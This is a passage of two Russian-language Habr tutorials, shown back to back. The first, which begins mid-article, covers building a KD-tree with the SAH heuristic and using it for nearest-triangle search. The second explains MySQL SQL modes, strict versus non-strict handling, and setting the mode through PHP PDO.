Bounding box узла дерева делится N (параллельными осям) плоскостями на N + 1 часть (части, как правило, равны) по каждой из сторон (на самом деле, количество плоскостей для каждой стороны можно быть любым, но для простоты и эффективности берут константу). Далее, в возможных местах пересечения плоскости с bounding box-ом вычисляют значение специальной функции: SAH. Деление производится плоскостью с наименьшим значением SAH функции (на рисунке ниже, я предположил, что минимум достигается в SAH[7], следовательно, деление будет производиться именно этой плоскостью (хотя здесь 2D пространство-так что прямой)):
Значение SAH функции для текущей плоскости вычисляется следующим образом:
В своей реализации KD-Дерева я делю каждую сторону на 33 равные части, используя 32 плоскости. Таким образом, по результатам тестов мне удалось найти 'золотую' середину-скорость работы основных функций дерева/скорость построения дерева.
В качестве SAH эвристики я использую функцию, представленную на рисунке выше.
Стоит отметить, что для принятия решения необходим лишь минимум данной функции по всем секущим плоскостям. Следовательно, используя простейшие математические свойства неравенств, а также отбросив умножение на 2 при расчете площади поверхности узла (в 3D)(*SAR, SAL, SA*), данную формулу можно существенно упростить. В полной же мере расчеты производятся лишь один раз на узел: при оценке критерия выхода из функции деления. Столь простая оптимизация дает существенный прирост скорости построения дерева (*x2.5*).
Для эффективного вычисления значения SAH функции необходимо уметь быстро определить, сколько узловых элементов находятся справа от данной плоскости, а сколько-слева. Результаты будут неудовлетворительны, если в качестве алгоритма использовать грубый, так называемый *brute force* подход с квадратичной асимптотикой. Однако же при использовании *'корзиночного' (binned)* метода ситуация значительно меняется в лучшую сторону. Описание данного метода приведено ниже:
Предположим, что мы разбиваем сторону bounding box-а на N равных частей (количество плоскостей-(N-1)), bounding box храним парой координат(pointMin, pointMax-см. **рис. 1**), тогда за один проход по всем элементам узла мы можем для каждой плоскости точно определить, сколько элементов лежит справа, а сколько-слева от нее. Создадим два массива по N элементов в каждом, и проинициализируем нулями. Пусть это будут массивы с именами *aHigh* и *aLow*. Последовательно пробегаем по всем элементам узла. Для текущего элемента проверяем, в какую из частей попадают pointMin и pointMax его bounding box-а. Соответственно, получаем два индекса на элемент множества. Пусть это будут индексы с именами *iHigh*(для pointMax) и *iLow*(для pointMin). После этого выполним следующее: aHigh[iHigh] += 1, aLow[iLow] +=1.
После прохода по всем элементам, получаем заполненные массивы aHigh и aLow. Для массива aHigh посчитаем частичные-постфикс (suffix) суммы, а для aLow посчитаем частичные-префикс (prefix) суммы (см. рисунок). Получается, что количество элементов справа (и только справа!) от плоскости с индексом i будет равно aLow[i + 1], количество элементов, лежащих слева (и только слева!): aHigh[i], количество же элементов, которые входят как в левый, так и в правый узлы: AllElements-aLow[i + 1]-aHigh[i].
Поставленная задача решена, а иллюстрация этого нехитрого процесса приведена ниже:
Хотелось бы отметить, что получение заранее известного количества элементов слева и справа от 'бьющей' плоскости позволяет нам заранее выделить нужное количество памяти под них (ведь далее, после получения минимума SAH, нам нужно еще раз пройтись по всем элементам и каждый разместить в нужном массиве, (а использование банального push\_back(если reserve-не вызывался), приводит к постоянному аллоцированию памяти-весьма затратная операция), что положительно влияет на скорость работы алгоритма построения дерева (x3.3).
Теперь хотелось бы описать подробнее назначение констант, используемых в формуле расчета SAH, а также рассказать о критерии остановки деления данного узла.
Перебирая константы *cI* и *cT*, можно добиться более плотной структуры дерева (или же наоборот), жертвуя временем работы алгоритма. Во многих статьях, посвященных в первую очередь построению KD-Дерева для Ray Tracing рендера, авторы используют значения *cI = 1., cT = [1; 2]*: чем больше значение cT, тем быстрее строится дерево, и тем хуже результаты прослеживания луча в таком дереве.
В своей же реализации я использую дерево для поиска 'ближнего', и, уделив должное внимание полученным результатам тестирования и поиска нужных коэффициентов, можно заметить, что высокие значения cT-дают нам совершенно не плотно заполненные элементами узлы. Чтобы избежать подобной ситуации, мною было решено выставить значение cT в 1., а значение cI протестировать на разных-больших-единицы данных. В итоге-удалось получить довольно плотную структуру дерева, расплатившись значительным ростом времени при построении. На результатах же поиска 'ближнего' это действие отразилось положительно-скорость поиска увеличилась.
Критерий остановки деления узла, довольно прост:
Иными словами: *если стоимость прослеживания дочерних узлов больше стоимости прослеживания родительского узла, то деление нужно прекратить.*
Теперь, когда мы научились делить узел KD-Дерева, расскажу про исходные случаи, когда количество элементов в узле получается довольно большим, а критерии остановки по количеству элементов уводят алгоритм в бесконечность. Собственно, все внимание на картинку (на примере треугольников в 2D):
Я называю такие ситуации *'веерными'* (имеют общую точку соприкосновения, совпадающие объекты, также отношу в эту категорию). Видно, что как бы мы не проводили секущую плоскость, центральная точка так или иначе попадает в один из узлов, а вместе с ней и треугольники, для которых она является общей.
### Процесс построения дерева
Мы научились делить узел дерева, теперь осталось применить полученные знания к процессу построения всего дерева. Ниже я привожу описание своей реализации построения KD-Дерева.
Дерево строится от корня. В каждом узле дерева я храню указатели на левое и правое поддеревья, если таковых у узла нет, то он считается *листовым* (листом т.е). Каждый узел хранит bounding box, который описывает объекты данного узла. В листовых(и только в листовых!) узлах я храню индексы тех объектов, которые входят в данный узел. Однако, в процессе построения память под узлы выделяется порциями (т.е. сразу для K узлов: во-первых, так эффективнее работать с менеджером памяти, во-вторых,-подряд идущие элементы идеальны для кэширования). Такой подход запрещает хранить узлы дерева в векторе, ибо добавление новых элементов в вектор может приводить к реаллоцированию памяти под все существующие элементы в другое место.
Соответственно, указатели на поддеревья теряют всякий смысл. Я использую контейнер типа список (std::list), каждый элемент которого-вектор (std::vector), с заранее заданным размером (константа). Построение дерева выполняю многопоточно (использую Open MP), то есть каждое поддерево строю в отдельном потоке(x4 к скорости). Для копирования индексов в листовой узел идеально подходит использование move семантики (C++11)(+10% к скорости).
### Поиск 'ближнего' к точке в KD-Дереве
Итак, дерево построено, перейдем к описанию реализации операции поиска в KD-Дереве.
Предположим, что поиск мы осуществляем в множестве треугольников: дана точка, требуется найти самый ближний к ней треугольник.
Решать поставленную задачу с применением bruteforce невыгодно: для множества из N точек и M треугольников ассимптотика составит O(N \* M). Кроме того, хотелось бы, чтобы алгоритм вычислял расстояние от точки до треугольника 'по-честному' и делал это быстро.
Воспользуемся KD-Деревом и выполним следующее:
⦁ **Шаг 1**. Найдем самый ближний листовой узел к данной точке (в каждом узле, как известно, мы храним bounding box, а расстояние можем смело вычислять до центра((pointMax + pointMin)\*0.5) bounding box-а узла) и обозначим его nearestNode.
⦁ **Шаг 2**. Методом перебора среди всех элементов найденного узла (nearestNode). Полученное расстояние обозначим minDist.
⦁ **Шаг 3**. Построим сферу с центром в исходной точке и радиусом длины minDist. Проверим, лежит ли эта сфера полностью внутри (то есть без каких либо пересечений сторон bounding box-узла) nearestNode. Если лежит, то ближний элемент найден, если нет, то перейдем к пункту 4.
⦁ **Шаг 4**. Запустим от корня дерева, поиск ближнего элемента в радиусе: спускаясь вниз по дереву, проверяем, пересекает ли правый или левый узлы (кроме того, узел может лежать полностью внутри сферы или сфера внутри узла...) данная сфера. Если какой-либо узел был пересечен, то аналогичную проверку выполняем и для внутренних узлов этого же узла. Если мы пришли в листовой узел, то выполним переборный поиск ближнего в данном узле и сравним полученный результат с длиной радиуса сферы. Если радиус сферы больше найденного расстояния, обновим длину радиуса сферы вычисленным значением минимума. Дальнейшие спуски по дереву происходят с обновленной длиной радиуса сферы (если мы используем рекурсивный алгоритм, то радиус просто передается в функцию по ссылке, а далее, где необходимо, обновляется).
Понять суть описанного выше алгоритма помогает следующий рисунок:
*По рисунку*: предположим, мы нашли ближний листовой узел (голубой на рисунке) к данной точке (выделена красным цветом), тогда, выполнив поиск ближнего в узле, получим, что таковым является треугольник с ичёндексом 1, однако, как видно-это не так. Окружность с радиусом R пересекает смежный узел, следовательно, поиск нужно выполнить и в этом узле, а затем сравнить вновь найденный минимум с тем, что уже есть. Как итог, становится очевидным, что ближним является треугольник с индексом 2.
Теперь мне бы хотелось рассказать об эффективной реализации промежуточных операций, используемых в алгоритме поиска 'ближнего'.
Выполняя поиск ближнего в узле, необходимо уметь быстро вычислять расстояние от точки до треугольника. Опишу простейший алгоритм:
Находим проекцию точки A (точка, к которой мы и ищем ближний) на плоскости треугольника. Найденную точку обозначим P. Если P лежит внутри треугольника, то расстояние от A до треугольника равно длине отрезка AP, иначе найдем расстояния от A до каждой из сторон (отрезков) треугольника, выберем минимум. Задача решена.
Описанный алгоритм является не самым эффективным. Более эффективный подход опирается на поиск и анализ (нахождение минимума градиента и т.п.) функции, значениями которой являются все возможные расстояния от данной точки до любой точки в треугольнике. Метод довольно сложен в восприятии и, как я считаю, заслуживает отдельной статьи (пока что он реализован у меня в коде, а ссылку на код вы найдете ниже). Ознакомиться с методом можно по **[1]**. Данный метод по результатам тестов оказался в *10 раз* быстрее того, что я описывал ранее.
Определить находится ли сфера с центром в точке O и радиусом R внутри конкретного узла, представленного bounding box, просто(3D):
```
inline bool isSphereInBBox(const SBBox& bBox, const D3& point, const double& radius)
{
return (bBox.m_minBB[0] < point[0] - radius && bBox.m_maxBB[0] > point[0] + radius &&
bBox.m_minBB[1] < point[1] - radius && bBox.m_maxBB[1] > point[1] + radius &&
bBox.m_minBB[2] < point[2] - radius && bBox.m_maxBB[2] > point[2] + radius);
}
```
С алгоритмом же определения пересечения сферы с bounding box-ом узла, нахождения узла внутри сферы или сферы внутри узла, дела обстоят несколько иначе. Снова проиллюстрирую (картинка взята с [2]) и приведу корректный код, позволяющий выполнить данную процедуру (в 2D, 3D-аналогично):
```
bool intersects(CircleType circle, RectType rect)
{
circleDistance.x = abs(circle.x - rect.x);
circleDistance.y = abs(circle.y - rect.y);
if (circleDistance.x > (rect.width/2 + circle.r)) { return false; }
if (circleDistance.y > (rect.height/2 + circle.r)) { return false; }
if (circleDistance.x <= (rect.width/2)) { return true; }
if (circleDistance.y <= (rect.height/2)) { return true; }
cornerDistance_sq = (circleDistance.x - rect.width/2)^2 +
(circleDistance.y - rect.height/2)^2;
return (cornerDistance_sq <= (circle.r^2));
}
```
Сперва (первая пара строк) мы сводим вычисления 4-ёх квадрантов к одному. В следующей паре строк проверяем, лежит ли окружность в зеленой области. Если лежит, то пересечения нет. Следующая пара строк проверит, входит ли окружность в оранжевую или серую области рисунка. Если входит, то пересечение обнаружено.
Дальше необходимо проверить, пересекает ли окружность угол прямоугольника (это делают следующие строки кода).
Собственно, этот расчет возвращает *'false'* для всех окружностей, центр которых находится в пределах красной области, и *'true'* для всех окружностей, центр которых находится в белой области.
В целом, данный код обеспечивает то, что нам и нужно (я привел здесь реализацию кода для 2D, однако в моем коде KD-Дерева я использую 3D вариант).
Осталось рассказать о скорости работы алгоритма поиска, а также о критичных ситуациях, замедляющих поиск в KD-Дереве.
Как было сказано выше, *'веерные'* ситуации порождают большое число элементов внутри узла, чем их больше-тем медленнее поиск. Более того, если все элементы равноудалены от данной точки, то поиск будет осуществляться за *O(N)*(множество точек, которые лежат на поверхности сферы, а ближний ищем к центру сферы). Однако, если данные ситуации убрать, то поиск в среднем будет равносилен спуску по дереву с перебором элементов в нескольких узлах т.е. за *O(log(N))*. Понятно, что скорость работы поиска зависит от числа посещенных листовых узлов дерева.
Рассмотрим следующие два рисунка:
Суть этих рисунков заключается в том, что если точка к которой мы ищем ближний элемент расположена очень-очень далеко от исходного bounding box-а множества, то сфера с радисом длины minDist(расстояние до ближнего), будет пересекать много больше узлов, чем если бы мы рассматривали эту же сферу, но с центром в точке гораздо ближней к исходному bounding box-у множества (естественно, minDist изменится). В общем, поиск ближних к сильно удаленной точке, осуществляется медленне, чем поиск к точке, расположенной близко к исходному множесту. Мои тесты эту информацию подтвердили.
### Результаты и подведение итогов
В качестве итогов хотел бы добавить еще пару слов о своей реализации KD-Дерева и привести полученные результаты. Собственно, дизайн кода разрабатывался так, чтобы его можно было легко адаптировать под любые объекты исходного множества(треугольники, сферы, точки и т.п). Все что нужно-создать класс наследник, с переопределенными виртуальными функциями. Более того, моя реализация также предусматривает передачу специального класса *Splitter-а*, определяемого пользователем. Этот класс, а точнее его виртуальный метод split, определяют, где конкретно будет проходить секущая плоскость. В своей реализации я предоставляю класс, принимающий решение на основе SAH. Здесь, отмечу, что во многих статьях посвященных ускорению построения KD-Дерева на основе SAH, многие авторы на начальных значениях глубины дерева(вообще, когда количество элементов в узле дерева велико) используют более простые техники поиска секущей плоскости(вроде деления по центру или медиане), а SAH эвристику применяют лишь в тот момент, когда число элементов в узле небольшое.
Моя реализация таких ухищрений не содержит, но позволяет быстро добавить их(нужно лишь расширить новым параметром конструктор KD-Дерева и вызвать функцию-член построения с нужным сплитером, контролируя нужные ограничения). Поиск в дереве выполняю многопоточно. Все вычисления произвожу в числах с двойной точностью(*double*). Максимальная глубина дерева задается константой(по дефолту-32). Определены некоторые *#defines*, позволяющие, например, выполнять обход дерева при поиске без рекурсии(с рекурсией, правда быстрее выходт-все узлы это элементы некоторого вектора(то есть расположены рядом по памяти), а значит, хорошо кэшируются). Вместе с кодом я предоставляю тестовые наборы данных(3D модели 'измененного формата OFF' с разным количеством треугольников внутри(от 2 до 3 000 000)). Пользователь может скинуть дамп построенного дерева(формат DXF) и просмотреть его в соответствующей графической программе. Также программа ведет лог(можно включить/выключить) качества построения дерева: *сбрасывается глубина дерева, максимальное количество элементов в листовом узле, среднее количесвто элементов в листовых узлах, время работы*. Ни в коем случае не утверждаю что полученная реализация идеальна, да что уж там, я и сам знаю места где я промахнулся(например, не передаю аллокатор в параметр шаблона, частое присутствие С-кода(чтение и запись файлов выполняю не с помощью потоков), возможны незамеченные баги и т.п-it's time to fix it). Ну и конечно, дерево сделано и оптимизировано строго для работы в 3D пространстве.
Тестирование кода я проводил на ноутбуке, со следующими характеристиками: *Intel Core I7-4750HQ, 4 core(8 threads) 2 GHz, RAM-8gb, Win x64 app на Windows 10*. Коэффициенты для вычисления SAH я брал следующие: *cT = 1., cI = 1.5*. И, если говорть о результатах, то получилось, что на *1, 5млн.* треугольников дерево строится менее чем за 1,5 секунды. На *3-ех миллионах* за 2,4 секунды. Для *1,5млн.* точек и *1.5млн* треугольников(точки расположены не очень далеко от исходной модели), поиск выполнился за 0.23 секунды, а если точки удалять от модели-время растет, вплоть до 3 секунд. Для *3-ех миллионов* точек(снова, расположены близко к модели) и *3-ех миллионов* треугольников поиск занимает около 0,7 секунд. Надеюсь, ничего не перепутал. Напоследок, иллюстрация визуализации построенного KD-Дерева:
### Полезные ссылки
**[0]**: [Моя реализация KD-Tree на GitHub](https://github.com/IvanKamynin/KDTree)
**[1]**: [Поиск расстояния от точки до треугольника](https://www.geometrictools.com/Documentation/DistancePoint3Triangle3.pdf)
**[2]**: [Определения пересечений окружности и прямоугольника](http://stackoverflow.com/questions/401847/circle-rectangle-collision-detection-intersection)
**[3]**: [Описание KD-Tree на Wikipedia](https://ru.wikipedia.org/wiki/K-%D0%BC%D0%B5%D1%80%D0%BD%D0%BE%D0%B5_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE)
**[4]**: [Интересная статья посвященная SAH](https://graphics.cg.uni-saarland.de/fileadmin/cguds/Users/cygnus/Danilewsk-GPU-kdTree.pdf)
**[5]**: [Описание KD-Tree на ray-tracing.ru](http://www.ray-tracing.ru/articles181.html) | https://habr.com/ru/post/312882/ | null | ru | null |
# Раскрываем магию MySQL или о строгости и мягкости MySQL
Очень часто в интернете встречаюсь со статьями, в которых приводят кучу примеров с якобы странным поведением MySQL по сравнению с другими БД. Чтобы стало понятно, о чём я говорю, приведу несколько примеров:
1. Деление на ноль возвращает NULL вместо ошибки
2. Выход за диапазон допустимых значений неявно приводит число к допустимому значению, а не к ошибке и откату транзакции
3. Вставка неверного типа данных также приводит к неявному преобразованию и успешному выполнению операции
Таких примеров я могу привести огромное число, но цель статьи не сделать очередное собрание высосанных из пальца примеров, а объяснить, почему происходит то или иное действие. Вся эта мистика MySQL давно описана в документации и легко объяснима, в чём вы сможете убедиться сами, прочитав статью до конца.
Для меня эта первая статья на хабре, поэтому я старался писать дотошно подробно. Уверен, что она будет полезна всем, кто работает с MySQL. Большую помощь в написании статьи оказала подготовка к сдаче на сертификат разработчика MySQL, а точнее книга «MySQL Certification Study Guide».
Итак, мой друг, начнём!
#### SQL Modes
SQL modes – это настройка поведения работы сервера MySQL, состоящая из режимов, каждый из которых контролирует какой-либо один аспект обработки запроса.
Возможности SQL mode:
1. Устанавливает строгую или мягкую проверку входных данных
2. Включает или отключает следование SQL стандарту
3. Обеспечивает лучшую синтаксическую совместимость с другими БД
По сути, SQL mode очень мощный механизм тюнинга БД, позволяющий гибко манипулировать обработкой запросов и уведомлениями MySQL.
Прежде чем мы перейдём к последующей теории, вы должны строго-настрого уяснить, что изменение режима SQL mode после создания и вставки данных в партиционные таблицы (partitioning tables) может привести к существенным изменениям в поведении таких таблиц, что, в свою очередь, может привести к потере или повреждению данных. Настоятельно рекомендуется, чтобы вы никогда не изменяли SQL режим после создания партиционных таблиц.
При репликации партиционных таблиц, отличающиеся параметры SQL mode на Primary и Slave MySQL серверах также может привести к проблемам. Для стабильной работы репликации между серверами, настройки SQL mode должны быть идентичными.
Теперь, после того, как вы осознали всю ответственность в использовании SQL режимов, перейдём к его сути.
Контроль текущего SQL режима происходит через системную переменную sql\_mode. Для задания значения используется команда SET. Ниже представлены возможные варианты установки данного режима.
1. Соответствует значению по умолчанию для только что установленной БД (никаких специальных режимов не установлено). Кавычки являются обязательными.
```
SET sql_mode = '';
```
2. Установка одного режима sql\_mode. Возможно два варианта – с кавычками и без них.
```
SET sql_mode = ANSI_QUOTES;
SET sql_mode = 'TRADITIONAL';
```
3. Установка нескольких режимов sql\_mode. Указание кавычек является обязательным!
```
SET sql_mode = 'IGNORE_SPACE,ANSI_QUOTES';
SET sql_mode = 'STRICT_ALL_TABLES,ERROR_FOR_DIVIZION_BY_ZERO'
```
Несмотря на то, что названия режимов регистронезависимые, я для удобства прочтения буду везде в статье писать их в верхнем регистре.
В примерах выше мы устанавливали режимы для текущей сессии, но если вы обладаете привилегиями суперпользователя, то можно задать глобальный режим для всего сервера и всех текущих коннектов, указав параметр GLOBAL. Полный синтаксис установки sql\_mode выглядит так:
```
SET [GLOBAL|SESSION] sql_mode='параметры';
```
Для просмотра текущих значений глобального и сессионного режима сервера используйте следующие запросы:
```
SELECT @@global.sql_mode;
SELECT @@session.sql_mode;
```
Помимо команды SET существует ещё два способа задания режима работы БД:
1. Запустить сервер с опцией --sql-mode="<режимы>"
2. Установить в файле my.cnf (для unix подобных систем) или my.ini (для windows) параметр sql-mode="<режимы>"
##### Краткий справочник режимов
###### ANSI\_QUOTES
Заставляет сервер интерпретировать двойную кавычку ( " ) точно также, как и обратную кавычку ( ` ), при этом она теряет способность обрамлять строки. Как можно было догадаться, этот режим заставляет MySQL приблизиться к SQL стандарту.
```
mysql> CREATE TABLE test11 (`order` INT NULL) ENGINE = InnoDB;
Query OK, 0 rows affected (0.28 sec)
mysql> CREATE TABLE test12 ("order" INT NULL) ENGINE = InnoDB;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"order" INT NOT NULL) ENGINE = InnoDB' at line 1
mysql> SET sql_mode = 'ANSI_QUOTES';
Query OK, 0 rows affected (0.00 sec)
mysql> CREATE TABLE test12 ("order" INT NULL) ENGINE = InnoDB;
Query OK, 0 rows affected (0.08 sec)
```
###### IGNORE\_SPACE
По умолчанию, между функцией и открывающейся круглой скобкой нельзя устанавливать пробелы. Включение этого режима разрешает серверу игнорировать пробелы, но платой за такую вольность станет то, что все функции станут зарезервированными словами, а значит, при совпадении имени столбца с именем функции придётся в обязательном порядке экранировать такой столбец.
```
mysql> SELECT COUNT (*) FROM test12;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '*) FROM test12' at line 1
mysql> SET sql_mode = 'IGNORE_SPACE';
Query OK, 0 rows affected (0.00 sec)
mysql> SELECT COUNT (*) FROM test12;
+-----------+
| COUNT (*) |
+-----------+
| 0 |
+-----------+
1 row in set (0.01 sec)
```
###### ERROR\_FOR\_DIVISION\_BY\_ZERO
При делении на ноль в строгом режиме генерируется ошибка, а нестрогом — предупреждение при выполнении операторов INSERT или UPDATE. Без этого параметра деление на ноль возвращает предупреждение и вставляет в таблицу NULL. Про строгость будет сказано в следующем режиме, пока постарайтесь абстрагироваться.
```
mysql> SELECT 1 / 0;
+-------+
| 1 / 0 |
+-------+
| NULL |
+-------+
1 row in set (0.00 sec)
mysql> SHOW WARNINGS;
Empty set (0.00 sec)
mysql> INSERT INTO test12 VALUES (1/0);
Query OK, 1 row affected (0.02 sec)
mysql> SHOW WARNINGS;
Empty set (0.00 sec)
mysql> SET sql_mode = 'ERROR_FOR_DIVISION_BY_ZERO';
Query OK, 0 rows affected (0.00 sec)
mysql> SELECT 1 / 0;
+-------+
| 1 / 0 |
+-------+
| NULL |
+-------+
1 row in set, 1 warning (0.00 sec)
mysql> SHOW WARNINGS;
+---------+------+---------------+
| Level | Code | Message |
+---------+------+---------------+
| Warning | 1365 | Division by 0 |
+---------+------+---------------+
1 row in set (0.00 sec)
mysql> INSERT INTO test12 VALUES (1/0);
Query OK, 1 row affected, 1 warning (0.02 sec)
mysql> SHOW WARNINGS;
+---------+------+---------------+
| Level | Code | Message |
+---------+------+---------------+
| Warning | 1365 | Division by 0 |
+---------+------+---------------+
1 row in set (0.00 sec)
mysql> INSERT INTO test12 VALUES ('some string'/0);
Query OK, 1 row affected, 2 warnings (0.02 sec)
mysql> SHOW WARNINGS;
+---------+------+-------------------------------------------------+
| Level | Code | Message |
+---------+------+-------------------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'some string' |
| Warning | 1365 | Division by 0 |
+---------+------+-------------------------------------------------+
2 rows in set (0.00 sec)
```
В приведённых примерах мы получали исключительно предупреждения, потому что строгий режим был выключен. Понимание строгости очень важное понятие для БД MySQL, потому что в классических базах данных такого нет. Забегая вперёд, скажу, что все БД изначально строгие и не позволяют тех вольностей, которые есть в MySQL. Мягкость MySQL сложилась исторически, когда ещё не было InnoDB. Посудите сами, в нетранзакционных таблицах действуют совершенно другие правила, нежели чем в транзакционных, поэтому следование жестким правилам зачастую приводило бы к нежелательному результату.
###### STRICT\_TRANS\_TABLES
Включает «строгий режим» для всех таблиц, поддерживающих транзакции, т.е. на InnoDB и BDB. Этот режим возвращает ошибку, вместо предупреждения в следующих случаях:
1. Тип входных данных не соответствует заданному типу. Например, вставка строки в колонку c числовым типом
2. Число или дата находится вне допустимого диапазона. Диапазон определяется типом данных. Например, для типа unsigned tinyint допустимым диапазоном являются числа от 0 до 255
3. При вставке данных пропущено значение колонки, для которой не задано значение по умолчанию и имеет атрибут NOT NULL
4. Длина значения выходит за пределы заданного диапазона. Например, для колонки типа CHAR(5) вы не сможете вставить строку более 5 символов
5. Для типов ENUM и SET отсутствует вставляемое или обновляемое значение
Более подробно об особенностях работы данного режима будет рассказано отдельно в последующей ниже главе.
###### STRICT\_ALL\_TABLES
STRICT\_ALL\_TABLES полностью идентично STRICT\_TRANS\_TABLES, но действие режима уже распространяется на все таблицы MySQL, а не только на транзакционные.
Из-за разницы подходов к работе транзакционных и не транзакционных таблиц не всегда есть смысл использовать данный режим. Если это вам ещё не очевидно, то в главах о строгом и нестрогом режимах вы поймёте разницу.
###### TRADITIONAL
Композитный режим, включает в себя целый набор режимов, в который входит «строгий режим», а также ряд других режимов, налагающих ограничения на входные данные.
Заставляет MySQL вести себя как большинство «традиционных» баз данных SQL.
Посмотрим на полный перечень режимов, который содержит в себе данный режим.
```
mysql> SET sql_mode = 'TRADITIONAL';
Query OK, 0 rows affected (0.00 sec)
mysql> SELECT @@sql_mode\G
*************************** 1. row ***************************
@@sql_mode: STRICT_TRANS_TABLES,STRICT_ALL_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,
TRADITIONAL,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION
1 row in set (0.00 sec)
```
###### ANSI
Другой композитный режим, делающий MySQL «ANSI-подобным», т.е. приближенным к стандарту SQL.
Включает в себя следующие режимы: REAL\_AS\_FLOAT, PIPES\_AS\_CONCAT, ANSI\_QUOTES, IGNORE\_SPACE.
Последние два режима были обсуждены ранее, поэтому кратко опишу первые два:
REAL\_AS\_FLOAT – тип данных real является синонимом float, а не double.
PIPES\_AS\_CONCAT – разрешает использовать для конкатенации строк ( || ), вместо логического ИЛИ.
###### ONLY\_FULL\_GROUP\_BY
Генерирует ошибку в запросах, в которых GROUP BY имеет не полный список не агрегированных параметров из SELECT и HAVING.
```
mysql> SELECT name, address, MAX(age) FROM test GROUP BY name;
ERROR 1055 (42000): 't.address' isn't in GROUP BY
mysql> SELECT name, MAX(age) as max_age FROM test GROUP BY name HAVING max_age < 30;
Empty set (0.00 sec)
ERROR 1463 (42000): Non-grouping field 'max_age' is used in HAVING clause
```
Если вы желаете узнать обо всех SQL mode режимах и окунуться глубже в проблему, то милости прошу в официальную документацию <http://dev.mysql.com/doc/refman/5.5/en/server-sql-mode.html>
#### Работа с SQL mode в PHP
По правде сказать, данную главу вряд ли можно назвать прикладной, потому что в реальных проектах конфигурировать нужно непосредственно на сервере MySQL, а не средствами языка программирования, поэтому глава скорее теоретическая, но для общего развития неплохо иметь ввиду и такой способ.
Чаще всего соединение с БД происходит через экземпляр класса PDO, поэтому рассмотрим его в деталях.
Есть два способа передать в БД специальные инструкции. Первый способ – передача в конструкторе. Посмотрим на полное описание конструктора:
```
PDO::__construct() ( string $dsn [, string $username [, string $password [, array $driver_options ]]] )
```
Думаю, с первыми тремя параметрами всё и так понятно, а вот $driver\_options как раз таки предоставляет нам возможность выполнять запросы непосредственно в БД. Для задания системной переменной sql\_mode режимом TRADITIONAL, будем делать так:
```
$db = new PDO('mysql:host=myhost;dbname=mydb', 'login', 'password', array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET sql_mode = 'TRADITIONAL'"));
```
Второй способ – конфигурирование на лету, через метод setAttribute;
```
$db->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, "SET sql_mode = 'TRADITIONAL'");
```
Конечно, некоторые из вас могут возразить, что можно выполнять запросы методом query или exec, но поскольку изначально глава теоретическая, то не буду заострять внимание на таком способе.
Дополнительно о PDO можно прочитать в официальной документации [php.net/manual/ru/book.pdo.php](http://php.net/manual/ru/book.pdo.php)
Предопределённые PDO константы для работы с MySQL [php.net/manual/ru/ref.pdo-mysql.php](http://php.net/manual/ru/ref.pdo-mysql.php)
#### Строгий режим
Мы уже немного познакомились со строгим режимом в главе SQL Mode, когда изучали режимы STRICT\_TRANS\_TABLES, STRICT\_ALL\_TABLES и композитный TRADITIONAL. Уже из самого названия легко догадаться, что все входные данные проверяются с особой тщательностью и в случае нарушений любых ограничений, вас неминуемо будет ждать ошибка.
Ошибка в транзакционных таблицах вызывает откат транзакции (rollback). Даже если ваши запросы не предварены командой start transaction, то неявно каждый запрос в отдельности по-любому будет обёрнут командами start transaction и commit. Так работают все традиционные БД, что в равной степени относится и к транзакционным таблицам MySQL. Из этого следует, что нарушив ограничение, вызывается rollback, который откатывает все изменения.
Для не транзакционных таблиц всё немного сложнее. Так, при вставке, обновлении или удалении нескольких строк, в случае ошибки отменяется только последнее действие, вместо полного отката. Проиллюстрирую это на примере.
```
mysql> SET sql_mode = 'STRICT_ALL_TABLES';
Query OK, 0 rows affected (0.00 sec)
mysql> CREATE TABLE test20 (
-> x TINYINT NOT NULL,
-> y TINYINT NOT NULL
-> ) ENGINE = MyISAM;
Query OK, 0 rows affected (0.08 sec)
mysql> INSERT INTO test20 VALUES (1, 1), (2, 2), (3, 3), (NULL, 4), (5, 5);
ERROR 1048 (23000): Column 'x' cannot be null
mysql> SELECT * FROM test20;
+---+---+
| x | y |
+---+---+
| 1 | 1 |
| 2 | 2 |
| 3 | 3 |
+---+---+
3 rows in set (0.01 sec)
mysql> UPDATE test20 SET x = x + 125, y = y + 1;
ERROR 1264 (22003): Out of range value for column 'x' at row 3
mysql> SELECT * FROM test20;
+-----+---+
| x | y |
+-----+---+
| 126 | 2 |
| 127 | 3 |
| 3 | 3 |
+-----+---+
3 rows in set (0.00 sec)
```
Генерация ошибки происходит в следующих случаях:
1. Тип вставляемых данных отличается от заданного типа столбца
2. Опущено значение для столбца, которому не задано значение по умолчанию и имеет атрибут NOT NULL
3. Для чисел и дат – данные находятся вне диапазона допустимых значений
4. Для строк – превышение допустимой длины
5. Для типов ENUM и SET – значение не является допустимым для заданного перечисления
6. Для столбца, определённого как NOT NULL — вставка NULL
#### Дефолтные значения для типов данных
Если в insert запросе не указаны данные для одной из колонок, то MySQL будет обрабатывать эту ситуацию в следующем порядке:
1. Если столбец имеет значение по умолчанию, то используется это значение и на этом всё заканчивается, в противном случае происходит переход к следующему шагу
2. Если столбец не имеет параметр NOT NULL, то присваивается NULL и на этом всё заканчивается, в противном случае поведение зависит от переменной sql\_mode, точнее от строгости самого режима.
Как можно было догадаться из предыдущей главы, строгий режим сразу вернёт ошибку, которая в свою очередь откатит транзакцию для транзакционных таблиц или отменит последнее действие для не транзакционных таблиц.
Для нестрого режима будет вставлено значение по умолчанию для заданного типа данных.
Значения по умолчанию для каждого типа данных:
* Для типов int и float значение по умолчанию ноль (0)
* Для всех строк, кроме типа enum – пустая строка ('')
* Для enum – первый нумерованный член
* Для даты и времени – нулевые значения '0000-00-00 00:00:00'
* Для timestamp — текущая дата и время, если колонка была автоматически инициализирована, либо нулевыми значениями '0000-00-00 00:00:00'
#### Нестрогий режим
Ура! Наконец-то, мы добрались до самой «загадочной» части статьи, которую некоторые освещают как некую магию MySQL, но, увы, это лишь фокусы на потеху детей. И так, поехали!
Возможно, нужно было ранее описать все случаи, для которых применяются правила проверки данных, но я решил сделать это только сейчас. Их всего три, но каждый из них требует отдельного рассмотрения.
